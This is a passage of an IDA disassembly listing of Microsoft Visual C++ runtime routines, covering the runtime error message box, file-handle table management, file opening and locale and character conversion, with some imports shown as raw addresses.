sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C958


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43C9E8
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C958[esi]
		jnz	loc_423719
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2C4, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2680000h
		nop
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C95C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C95C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 2630AD1h
		nop
		push	eax
		call	near ptr 2700000h
		nop


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC5C0


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC6C0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC6C0, 20h
		lea	ecx, ds:4DC5C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2C4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 2630000h


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC6C0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2C4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 2630000h


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2620905h
		test	eax, eax
		jnz	short loc_42391D
		call	near ptr 2690DCCh
		nop
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB27C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5A0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5A0, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5A0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43C9E8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB598
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC68
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43C9F8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA58
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2B8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB460
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB570, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB278, 16h
		mov	dword_4DB27C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB280
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB27C, 0
		mov	dword_4DB278, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 271092Ch
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		call	near ptr 263023Eh
		nop
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		call	near ptr 2670858h
		nop


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 2690DCCh
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB27C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB468
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	ebx
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB468, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB334


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2850000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2850000h
		nop
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 2610000h
		nop
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB334, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C504
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB344
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


